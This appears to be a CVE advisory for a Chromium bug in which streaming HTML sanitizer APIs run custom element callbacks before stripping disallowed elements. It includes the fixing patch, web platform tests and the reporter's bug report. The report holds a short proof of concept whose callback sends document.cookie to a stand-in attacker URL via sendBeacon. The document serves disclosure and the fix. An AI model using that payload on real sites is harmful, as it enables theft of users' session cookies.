CVE-2026-87632
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
DisallowedElementthird_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html |
modified | |
constructorthird_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html |
modified | |
connectedCallbackthird_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html |
modified | |
forthird_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html |
modified |
Files Changed
third_party/blink/renderer/core/html/parser/html_construction_site.ccthird_party/blink/renderer/core/sanitizer/sanitizer.ccthird_party/blink/renderer/core/sanitizer/sanitizer.hthird_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
Patch
From d24449812426052b36c7b73c1a5442923a812af2 Mon Sep 17 00:00:00 2001 From: Noam Rosenthal <[email protected]> Date: Tue, 28 Jul 2026 06:19:20 -0700 Subject: [PATCH] Block CE reactions from elements disallowed by sanitizer This applies both to regular fragment parsing and to streaming. We check the sanitizer early (when element is created) and avoid initializing the CE definition if the element is anyway going to be removed by the sanitizer. Bug: 538197156 Change-Id: Ib10400043a54710060d84477c9b30513e4acc1d8 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8158260 Reviewed-by: Daniel Vogelheim <[email protected]> Commit-Queue: Noam Rosenthal <[email protected]> Cr-Commit-Position: refs/heads/main@{#1669408} --- diff --git a/third_party/blink/renderer/core/html/parser/html_construction_site.cc b/third_party/blink/renderer/core/html/parser/html_construction_site.cc index 4aef66b..8e3e37a 100644 --- a/third_party/blink/renderer/core/html/parser/html_construction_site.cc +++ b/third_party/blink/renderer/core/html/parser/html_construction_site.cc @@ -1414,8 +1414,11 @@ } // 8. Let definition be the result of looking up a custom element definition // given registry, given namespace, local name and is. - auto* definition = - LookUpCustomElementDefinition(document, tag_name, is, registry); + CustomElementDefinition* definition = nullptr; + if (!sanitizer_ || sanitizer_->IsElementAllowed(tag_name)) { + definition = + LookUpCustomElementDefinition(document, tag_name, is, registry); + } // "5. If definition is non-null and the parser was not originally created // for the HTML fragment parsing algorithm, then let will execute script // be true." diff --git a/third_party/blink/renderer/core/sanitizer/sanitizer.cc b/third_party/blink/renderer/core/sanitizer/sanitizer.cc index 5f67571..c47c621 100644 --- a/third_party/blink/renderer/core/sanitizer/sanitizer.cc +++ b/third_party/blink/renderer/core/sanitizer/sanitizer.cc @@ -132,6 +132,19 @@ DCHECK(isValid()); } +bool Sanitizer::IsElementAllowed(const QualifiedName& name) const { + if (remove_elements_ && remove_elements_->Contains(name)) { + return false; + } + if (replace_elements_ && replace_elements_->Contains(name)) { + return false; + } + if (allow_elements_ && !allow_elements_->Contains(name)) { + return false; + } + return true; +} + bool Sanitizer::allowElement( const V8UnionSanitizerElementNamespaceWithAttributesOrString* element) { const QualifiedName name = getFrom(element); diff --git a/third_party/blink/renderer/core/sanitizer/sanitizer.h b/third_party/blink/renderer/core/sanitizer/sanitizer.h index 281251e..3e861d46 100644 --- a/third_party/blink/renderer/core/sanitizer/sanitizer.h +++ b/third_party/blink/renderer/core/sanitizer/sanitizer.h @@ -134,6 +134,7 @@ // the insertion target, or discard the element. Returns the adjusted // insertion target, or null if the element is to be discarded. // This is used for streaming. + bool IsElementAllowed(const QualifiedName& name) const; Action SanitizeSingleNode(Node* node, Mode safe) const; bool ShouldReplaceNodeWithChildren(Node* node) const; void ProcessElement(Element* element, Mode safe) const; @@ -215,6 +216,10 @@ return sanitizer_->AllowIsAttribute(element_name); } + bool IsElementAllowed(const QualifiedName& element_name) const { + return sanitizer_->IsElementAllowed(element_name); + } + void DidParseDocument(Document* document); void Trace(Visitor* visitor) const { visitor->Trace(sanitizer_); } diff --git a/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html b/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html new file mode 100644 index 0000000..5bec06b --- /dev/null +++ b/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html @@ -0,0 +1,138 @@ +<!DOCTYPE HTML> +<meta charset="utf-8"> +<title>HTML streaming and positional setting APIs block Custom Element constructors when sanitized</title> +<link rel="help" href="https://github.com/WICG/sanitizer-api" /> +<script src="/resources/testharness.js"></script> +<script src="/resources/testharnessreport.js"></script> +<body> +<div id="container"></div> +<script> +let constructor_called = false; +let connected_called = false; + +class DisallowedElement extends HTMLElement { + constructor() { + super(); + constructor_called = true; + } + connectedCallback() { + connected_called = true; + } +} +customElements.define("disallowed-element", DisallowedElement); + +const registry = new CustomElementRegistry(); +registry.define("disallowed-element-scoped", class extends HTMLElement { + constructor() { + super(); + constructor_called = true; + } + connectedCallback() { + connected_called = true; + } +}); + +const asyncMethods = [ + "streamHTML", "streamAppendHTML", "streamPrependHTML", + "streamHTMLUnsafe", "streamAppendHTMLUnsafe", "streamPrependHTMLUnsafe" +]; + +const syncMethods = [ + "appendHTML", "prependHTML", + "appendHTMLUnsafe", "prependHTMLUnsafe" +]; + +for (const method of asyncMethods) { + for (const config of [ + { name: "removeElements", options: { sanitizer: { removeElements: ["disallowed-element"] } } }, + { name: "allowElements", options: { sanitizer: { elements: ["div"] } } } + ]) { + promise_test(async (t) => { + constructor_called = false; + connected_called = false; + const container = document.getElementById("container"); + t.add_cleanup(() => container.replaceChildren()); + + const writer = container[method](config.options).getWriter(); + await writer.write("<disallowed-element></disallowed-element>"); + await writer.close(); + + assert_equals(container.innerHTML, ""); + assert_false(constructor_called, "Constructor should not be called for stripped elements"); + assert_false(connected_called, "ConnectedCallback should not be called for stripped elements"); + }, `${method} blocks CE constructor when element is dropped by sanitizer (${config.name})`); + + promise_test(async (t) => { + constructor_called = false; + connected_called = false; + const container = document.getElementById("container"); + t.add_cleanup(() => container.replaceChildren()); + + const shadow = container.attachShadow({ mode: "open", registry }); + t.add_cleanup(() => { + const newContainer = document.createElement("div"); + newContainer.id = "container"; + container.replaceWith(newContainer); + }); + + // Need to use the shadow root for streaming to test scoped registry + const options = config.name === "removeElements" + ? { sanitizer: { removeElements: ["disallowed-element-scoped"] } } + : { sanitizer: { elements: ["div"] } }; + + const writer = shadow[method](options).getWriter(); + await writer.write("<disallowed-element-scoped></disallowed-element-scoped>"); + await writer.close(); + + assert_equals(shadow.innerHTML, ""); + assert_false(constructor_called, "Constructor should not be called for stripped scoped elements"); + assert_false(connected_called, "ConnectedCallback should not be called for stripped scoped elements"); + }, `${method} blocks CE constructor in scoped registry when element is dropped by sanitizer (${config.name})`); + } +} + +for (const method of syncMethods) { + for (const config of [ + { name: "removeElements", options: { sanitizer: { removeElements: ["disallowed-element"] } } }, + { name: "allowElements", options: { sanitizer: { elements: ["div"] } } } + ]) { + test((t) => { + constructor_called = false; + connected_called = false; + const container = document.getElementById("container"); + t.add_cleanup(() => container.replaceChildren()); + + container[method]("<disallowed-element></disallowed-element>", config.options); + + assert_equals(container.innerHTML, ""); + assert_false(constructor_called, "Constructor should not be called for stripped elements"); + assert_false(connected_called, "ConnectedCallback should not be called for stripped elements"); + }, `${method} blocks CE constructor when element is dropped by sanitizer (${config.name})`);
Regression Test / PoC
diff --git a/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html b/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
new file mode 100644
index 0000000..5bec06b
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
@@ -0,0 +1,138 @@
+<!DOCTYPE HTML>
+<meta charset="utf-8">
+<title>HTML streaming and positional setting APIs block Custom Element constructors when sanitized</title>
+<link rel="help" href="https://github.com/WICG/sanitizer-api" />
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<body>
+<div id="container"></div>
+<script>
+let constructor_called = false;
+let connected_called = false;
+
+class DisallowedElement extends HTMLElement {
+ constructor() {
+ super();
+ constructor_called = true;
+ }
+ connectedCallback() {
+ connected_called = true;
+ }
+}
+customElements.define("disallowed-element", DisallowedElement);
+
+const registry = new CustomElementRegistry();
+registry.define("disallowed-element-scoped", class extends HTMLElement {
+ constructor() {
+ super();
+ constructor_called = true;
+ }
+ connectedCallback() {
+ connected_called = true;
+ }
+});
+
+const asyncMethods = [
+ "streamHTML", "streamAppendHTML", "streamPrependHTML",
+ "streamHTMLUnsafe", "streamAppendHTMLUnsafe", "streamPrependHTMLUnsafe"
+];
+
+const syncMethods = [
+ "appendHTML", "prependHTML",
+ "appendHTMLUnsafe", "prependHTMLUnsafe"
+];
+
+for (const method of asyncMethods) {
+ for (const config of [
+ { name: "removeElements", options: { sanitizer: { removeElements: ["disallowed-element"] } } },
+ { name: "allowElements", options: { sanitizer: { elements: ["div"] } } }
+ ]) {
+ promise_test(async (t) => {
+ constructor_called = false;
+ connected_called = false;
+ const container = document.getElementById("container");
+ t.add_cleanup(() => container.replaceChildren());
+
+ const writer = container[method](config.options).getWriter();
+ await writer.write("<disallowed-element></disallowed-element>");
+ await writer.close();
+
+ assert_equals(container.innerHTML, "");
+ assert_false(constructor_called, "Constructor should not be called for stripped elements");
+ assert_false(connected_called, "ConnectedCallback should not be called for stripped elements");
+ }, `${method} blocks CE constructor when element is dropped by sanitizer (${config.name})`);
+
+ promise_test(async (t) => {
+ constructor_called = false;
+ connected_called = false;
+ const container = document.getElementById("container");
+ t.add_cleanup(() => container.replaceChildren());
+
+ const shadow = container.attachShadow({ mode: "open", registry });
+ t.add_cleanup(() => {
+ const newContainer = document.createElement("div");
+ newContainer.id = "container";
+ container.replaceWith(newContainer);
+ });
+
+ // Need to use the shadow root for streaming to test scoped registry
+ const options = config.name === "removeElements"
+ ? { sanitizer: { removeElements: ["disallowed-element-scoped"] } }
+ : { sanitizer: { elements: ["div"] } };
+
+ const writer = shadow[method](options).getWriter();
+ await writer.write("<disallowed-element-scoped></disallowed-element-scoped>");
+ await writer.close();
+
+ assert_equals(shadow.innerHTML, "");
+ assert_false(constructor_called, "Constructor should not be called for stripped scoped elements");
+ assert_false(connected_called, "ConnectedCallback should not be called for stripped scoped elements");
+ }, `${method} blocks CE constructor in scoped registry when element is dropped by sanitizer (${config.name})`);
+ }
+}
+
+for (const method of syncMethods) {
+ for (const config of [
+ { name: "removeElements", options: { sanitizer: { removeElements: ["disallowed-element"] } } },
+ { name: "allowElements", options: { sanitizer: { elements: ["div"] } } }
+ ]) {
+ test((t) => {
+ constructor_called = false;
+ connected_called = false;
+ const container = document.getElementById("container");
+ t.add_cleanup(() => container.replaceChildren());
+
+ container[method]("<disallowed-element></disallowed-element>", config.options);
+
+ assert_equals(container.innerHTML, "");
+ assert_false(constructor_called, "Constructor should not be called for stripped elements");
+ assert_false(connected_called, "ConnectedCallback should not be called for stripped elements");
+ }, `${method} blocks CE constructor when element is dropped by sanitizer (${config.name})`);
+
+ test((t) => {
+ constructor_called = false;
+ connected_called = false;
+ const container = document.getElementById("container");
+ t.add_cleanup(() => container.replaceChildren());
+
+ const shadow = container.attachShadow({ mode: "open", registry });
+ t.add_cleanup(() => {
+ const newContainer = document.createElement("div");
+ newContainer.id = "container";
+ container.replaceWith(newContainer);
+ });
+
+ const options = config.name === "removeElements"
+ ? { sanitizer: { removeElements: ["disallowed-element-scoped"] } }
+ : { sanitizer: { elements: ["div"] } };
+
+ shadow[method]("<disallowed-element-scoped></disallowed-element-scoped>", options);
+
+ assert_equals(shadow.innerHTML, "");
+ assert_false(constructor_called, "Constructor should not be called for stripped scoped elements");
+ assert_false(connected_called, "ConnectedCallback should not be called for stripped scoped elements");
+ }, `${method} blocks CE constructor in scoped registry when element is dropped by sanitizer (${config.name})`);
+ }
+}
+</script>
+</body>
diff --git a/third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html b/third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html
new file mode 100644
index 0000000..2cd2c62
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html
@@ -0,0 +1,78 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <script src="/resources/testharness.js"></script>
+ <script src="/resources/testharnessreport.js"></script>
+</head>
+<body>
+<div id="container"></div>
+<script>
+let constructor_called = false;
+let connectedCallback_called = false;
+
+class DisallowedElement extends HTMLElement {
+ constructor() {
+ super();
+ constructor_called = true;
+ }
+ connectedCallback() {
+ connectedCallback_called = true;
+ }
+}
+customElements.define("disallowed-element", DisallowedElement);
+
+const registry = new CustomElementRegistry();
+registry.define("disallowed-element-scoped", class extends HTMLElement {
+ constructor() {
+ super();
+ constructor_called = true;
+ }
+ connectedCallback() {
+ connectedCallback_called = true;
+ }
+});
+
+function assert_removed(method, sanitizer, scoped = false) {
+ constructor_called = connectedCallback_called = false;
+
+ let d = document.createElement("div");
+ document.body.append(d);
+
+ let target = d;
+ if (scoped) {
+ target = d.attachShadow({ mode: "open", registry });
+ }
+
+ const tag = scoped ? "disallowed-element-scoped" : "disallowed-element";
+
+ if (method === "setHTML") {
+ target.setHTML(`<${tag}></${tag}>`, { sanitizer });
+ } else if (method === "setHTMLUnsafe") {
+ target.setHTMLUnsafe(`<${tag}></${tag}>`, { sanitizer });
+ }
+
+ assert_equals(target.innerHTML, ``);
+ assert_false(constructor_called, "Constructor should not be called");
+ assert_false(connectedCallback_called, "ConnectedCallback should not be called");
+
+ d.remove();
+}
+
+for (const method of ["setHTML", "setHTMLUnsafe"]) {
+ for (const config of [
+ { name: "removeElements", options: { removeElements: ["disallowed-element"] }, scopedOptions: { removeElements: ["disallowed-element-scoped"] } },
+ { name: "allowElements", options: { elements: ["div"] }, scopedOptions: { elements: ["div"] } }
+ ]) {
+ test(t => {
+ assert_removed(method, config.options, false);
+ }, `${method} blocks CE constructor when element is dropped by explicit sanitizer config (${config.name})`);
+
+ test(t => {
+ assert_removed(method, config.scopedOptions, true);
+ }, `${method} blocks CE constructor in scoped registry when element is dropped by explicit sanitizer config (${config.name})`);
+ }
+}
+
+</script>
+</body>
+</html>
Original Bug Report
streamHTML fires CE constructor/attributeChangedCallback before sanitizer strips elements
Steps to reproduce the problem
- On a server, save the attached
stream-ce-callback-poc.pyand runpython3 stream-ce-callback-poc.py - Open
http://VPS_IP:9590/in Chrome 150 - The page defines a custom element
<embed-widget>withobservedAttributes: ['data-src']whoseattributeChangedCallbackcallsnavigator.sendBeacon(val, ...)with the page’sdocument.cookieand URL - Click “Render with streamHTML() (VULNERABLE)”
- Check the callback log:
constructor()andattributeChangedCallback()fire during streamHTML,sendBeaconreturnstrue, and the element is stripped after - Check “Attacker callback server hits”: the beacon was received at the attacker endpoint containing the page’s cookie and URL
- Click “Render with setHTML() (SAFE)” to compare: zero callbacks fire, no beacon sent
Minimal inline reproduction:
class X extends HTMLElement {
constructor() { super(); console.log('constructor fired'); }
static get observedAttributes() { return ['data-x']; }
attributeChangedCallback(n,o,v) {
console.log('attributeChangedCallback:', v);
navigator.sendBeacon(v, document.cookie);
}
}
customElements.define('x-widget', X);
const div = document.createElement('div');
document.body.appendChild(div);
// streamHTML: callbacks fire, beacon sent
const s = div.streamHTML();
const w = s.getWriter();
await w.write('<x-widget data-x="https://attacker.example/steal">test</x-widget>');
await w.close();
// constructor + attributeChangedCallback execute. Element stripped after.
// setHTML: no callbacks
div.setHTML('<x-widget data-x="https://attacker.example/steal">test</x-widget>');
// No output. No callbacks.
Problem Description
The safe streaming HTML APIs (streamHTML, streamAppendHTML, streamPrependHTML) fire custom element constructor() and attributeChangedCallback() during parsing, before the sanitizer strips the element. setHTML() correctly suppresses all CE lifecycle callbacks.
The streaming path creates the parser on the live document with the active custom element registry, so custom element constructors fire during element creation and attributeChangedCallback fires during attribute setting.
Both happen before the sanitizer removes the element. connectedCallback does not fire because parsed nodes stay in a disconnected DocumentFragment.
setHTML avoids this by parsing into an inert template document with a null registry, so no CE definitions are found and no callbacks execute.
###Attack scenario
A web application using custom elements (Lit, FAST, Shoelace, native Web Components) renders user-provided HTML via streamHTML() for safe sanitization.
An attacker includes the application’s custom element tags with attacker-controlled attribute values.
The callbacks fire before the element is stripped, enabling network requests via sendBeacon/fetch to attacker-controlled URLs.
The PoC demonstrates exfiltration of document.cookie to the attacker server this way.
Confirmed on all three safe streaming APIs: streamHTML(), streamAppendHTML(), streamPrependHTML().
Summary
streamHTML fires CE constructor/attributeChangedCallback before sanitizer strips elements
Custom Questions
Reporter credit:
Eli Ainhorn
Additional Data
Category: Security
Chrome Channel: Stable
Regression: N/A \